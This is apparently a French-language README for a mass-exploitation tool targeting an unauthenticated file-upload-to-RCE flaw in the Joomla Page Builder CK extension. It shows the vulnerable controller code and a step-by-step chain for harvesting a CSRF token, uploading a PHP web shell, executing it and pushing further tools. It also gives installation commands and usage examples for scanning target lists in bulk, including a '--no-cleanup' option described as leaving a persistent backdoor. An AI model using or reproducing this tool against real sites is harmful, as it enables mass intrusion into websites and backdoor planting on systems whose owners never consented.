
📤 Framework d'exploitation massive pour CVE-2026-56290 — Page Builder CK Joomla : téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE)
CVE-2026-56290 est une vulnérabilité de sévérité critique dans Page Builder CK (com_pagebuilderck), une extension populaire de constructeur de pages Joomla. La méthode du contrôleur browse.ajaxAddPicture accepte les téléchargements de fichiers non authentifiés avec un chemin de destination contrôlé par l'utilisateur, permettant aux attaquants d'écrire des fichiers PHP arbitraires dans des répertoires accessibles via le web.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
Le paramètre path ne subit qu'un trim() comme assainissement — pas de liste blanche, pas de vérification de traversée de répertoire, pas de porte d'authentification. Combiné à un jeton CSRF accessible publiquement depuis n'importe quelle page Joomla, les attaquants peuvent télécharger à distance des shells PHP vers n'importe quel répertoire inscriptible.
| Vecteur | Sévérité | Impact |
|---|---|---|
| Téléchargement de fichier non authentifié | 9.8 (Critique) | Exécution de code PHP arbitraire |
| Récolte de jeton CSRF | 5.3 (Moyen) | Permet la chaîne de téléchargement |
| Divulgation d'informations | 5.3 (Moyen) | Empreinte de version de l'extension |
1. ACCÈS à la page d'accueil Joomla → récolte du jeton CSRF (hex32 + valeur "1")
2. Téléchargement de fichier POST → task=browse.ajaxAddPicture&{token}=1
3. Shell PHP atterrit dans → media/com_pagebuilderck/gfonts/shell.php
4. ACCÈS à l'URL du shell → code exécuté, RCE confirmé
5. POST f=@file vers le shell → téléchargement d'outils supplémentaires
6. GET ?cleanup=1 → le shell s'auto-détruit
| Version de Page Builder CK | Statut | Remarques |
|---|---|---|
| 3.1.1 et inférieures | 🔴 Vulnérable | Téléchargement non authentifié confirmé |
| 3.4.10 et inférieures | 🔴 Vulnérable | Plage étendue selon l'analyse |
| 3.5.10 et inférieures | 🔴 Vulnérable | Certaines variantes corrigées peuvent exister |
| > 3.5.10 | 🟢 Possiblement corrigé | Vérifier via le manifeste XML |
Remarque : La version est détectée à partir du fichier manifeste Joomla à l'emplacement
/administrator/manifests/files/com_pagebuilderck.xml. Si le manifeste est inaccessible, le scanner considère par défaut la cible comme potentiellement vulnérable.
🔍 Reconnaissance
|
💀 Exploitation
|
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target URL d'une seule cible
-f, --file Fichier contenant les URL cibles (une par ligne, # pour les commentaires)
-o, --output Fichier de sortie TXT en direct (par défaut : cve-2026-56290_live.txt)
--json Chemin du fichier de rapport JSON (par défaut : cve-2026-56290_report.json)
--threads Travailleurs simultanés (par défaut : 20)
--timeout Délai d'attente en secondes (par défaut : 15)
--no-cleanup Laisser les shells sur la cible (porte dérobée persistante)
-v, --verbose Sortie détaillée de la découverte d'endpoint
--known-endpoint Sauter la découverte : task,file_param,folder_param
# Cible unique
python cve_2026_56290.py -t https://target.com
# Scan massif depuis un fichier
python cve_2026_56290.py -f targets.txt
# Sortie personnalisée + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Laisser les shells derrière (porte dérobée persistante)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Sauter la découverte avec un endpoint connu
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt